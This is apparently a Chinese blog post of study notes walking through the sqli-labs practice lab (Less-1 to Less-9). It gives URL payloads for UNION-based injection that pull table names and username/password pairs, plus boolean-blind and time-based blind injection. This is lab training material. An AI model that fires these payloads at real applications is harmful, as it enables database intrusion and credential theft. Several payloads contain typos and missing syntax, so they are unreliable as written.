Sql注入基础

sql注入前置理解

bash 复制代码
在这里插入代码片select * from users where id = $id ---- 数字型注入----select * from users where id = 1 or 1=1---搞定

select * from users where id = 'id' ---- 字符型注入----select * from users where id = '1 or 1=1'---可以,一个整体都是id的值,有warning是它的容错,所以需要闭合标点符号 

mysql的注释是--空格或者#号

get传参存在url编码,防止空格被编码,+会被注释为空格,所以--+

闭合符有(),',",(())等

Less-1:

1.sql注入类型。先当作数字型处理,出不来数据,and起作用了。如果能出来数据,闭合符里面为---1 and 1=2---,说明是字符型

复制代码
MariaDB [security]> select * from security.users where id =1 and 1=2 --+;
http://172.25.254.184/sqli/Less-1/?id=1 and 1=2 --+

2.判断闭合符。用and的逻辑判断闭合符,所以闭合符为'

复制代码
MariaDB [security]> select * from security.users where id ='1' and 1=2 --+';
http://172.25.254.184/sqli/Less-1/?id=1' and 1=2 --+

3.查询查询的列数(order by | group by),用union实现联合注入。判断是3列

复制代码
http://172.25.254.184/sqli/Less-1/?id=1' order by 4 --+

4.判断回显的位置。在2和3的位置,再这里写sql语句

复制代码
http://172.25.254.184/sqli/Less-1/?id=-1' union select 1,2,3 --+

5.获取表名

复制代码
MariaDB [information_schema]> select group_concat(table_name) from information_schema.tables where table_schema='security';
http://172.25.254.184/sqli/Less-1/?id=-1' union select 1,(select database()),group_concat(table_name) from information_schema.tables where table_schema='security' --+

6.获取列名---列出所有用group_concat或者limit

复制代码
MariaDB [security]> select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users';
http://172.25.254.184/sqli/Less-1/?id=-1' union select 1,(select database()),group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'; --+

7.查数据

复制代码
MariaDB [security]> select group_concat(username,'~',password) from security.users;
http://172.25.254.184/sqli/Less-1/?id=-1' union select 1,(select database()),group_concat(username,'~',password) from security.users --+

8.截取

复制代码
MariaDB [security]> select substr(group_concat(username,'~',password),1,32) from security.users;
http://172.25.254.184/sqli/Less-1/?id=-1' union select 1,(select database()),substr(group_concat(username,'~',password),1,32) from security.users --+

Less-2

第一步:判断--是数字型

复制代码
http://172.25.254.1/sqli/Less-2/?id=1 and 1=2 --+

第二步:判断--列数---3列数据

复制代码
http://172.25.254.1/sqli/Less-2/?id=1 order by 4 --+

第三步:判断回显位置---在2,3的位置

复制代码
http://172.25.254.1/sqli/Less-2/?id=-1 union select 1,2,3 --+

Less-3

第一步:判断--是字符型

复制代码
http://172.25.254.1/sqli/Less-3/?id=1 and 1=2 --+

第二步:判断闭合符---')

复制代码
http://172.25.254.1/sqli/Less-3/?id=1') and 1=2 --+

第三步:判断列数--四列

复制代码
http://172.25.254.184/sqli/Less-3/?id=1') order by 4 --+

第四步:判断回显位置

复制代码
http://172.25.254.184/sqli/Less-3/?id=-1') union select 1,2,3 --+

Less-4--")

第一步:判断--是字符型

复制代码
http://172.25.254.1/sqli/Less-4/?id=1 and 1=2 --+

第二步:判断闭合符---")

复制代码
http://172.25.254.184/sqli/Less-4/?id=1") and 1=2 --+

第三步:判断列数--四列

复制代码
http://172.25.254.184/sqli/Less-4/?id=1") order by 4 --+

第四步:判断回显位置

复制代码
http://172.25.254.184/sqli/Less-4/?id=-1") union select 1,2,3 --+

Less-5--布尔盲注--只有true和false

复制代码
http://172.25.254.1/sqli/Less-5/?id=1 and length(database())=8 --+

ascii加二分定位每一个字符

复制代码
http://172.25.254.1/sqli/Less-5/?id=1 and ascii(aubstr(database(),1,1)<125 --+

Less-9---时间盲注

IF(条件,成功返回,失败返回)--字符型

复制代码
http://172.25.254.1/sqli/Less-9/?id=1' sleep(3) --+

http://172.25.254.1/sqli/Less-9/?id=1' and (length(database())>3,sleep(3),0) --+

http://172.25.254.1/sqli/Less-9/?id=1' and (substr(database(),1,1)="s",sleep(3),0) --+
相关推荐
FungLeo14 小时前
FengCMS · PHP+MySQL 升级实录 · 数据库驱动封装:mysqli 预处理与 affected_rows 关闭后变 -1 的坑
数据库·mysql·php·工程实践·fengcms
YYYing.14 小时前
【Redis剑指offer系列 (二) 】Redis线程模型
数据库·redis·缓存·八股
硅谷秋水15 小时前
LEASH:确保自主机器人系统的安全
人工智能·安全·机器学习·语言模型·机器人
维爱智VR认知学能15 小时前
Python SQLite本地训练记录表迁移失败回滚与事务验证
数据库·python·单元测试·sqlite·软件工程
OpenCSG15 小时前
客户案例|Dell携手OpenCSG打造AI原生超节点
数据库·人工智能·ai-native
TDengine (老段)15 小时前
TDengine IDMP ---- Excel 插件
大数据·数据库·excel·时序数据库·tdengine·涛思数据
djjjx.16 小时前
Mysql数据库基础篇(十三):图解 MySQL 索引底层原理与事务隔离级别
数据库·mysql
lusklusklusk16 小时前
图文详解:使用 Power BI Desktop 一步步创建并部署跨 Excel 与 SQL 数据的 PBIRS 报表
数据库·sql·excel
CoderYanger16 小时前
Java EE 进阶:14.案例综合练习-博客系统(第三弹) :用户登录+强制登录
java·服务器·开发语言·数据库·spring boot·java-ee·mybatis
CoderYanger1 天前
Java EE 进阶:13. Spring事务和事务传播机制(第二弹)
java·开发语言·数据库·spring boot·后端·spring·java-ee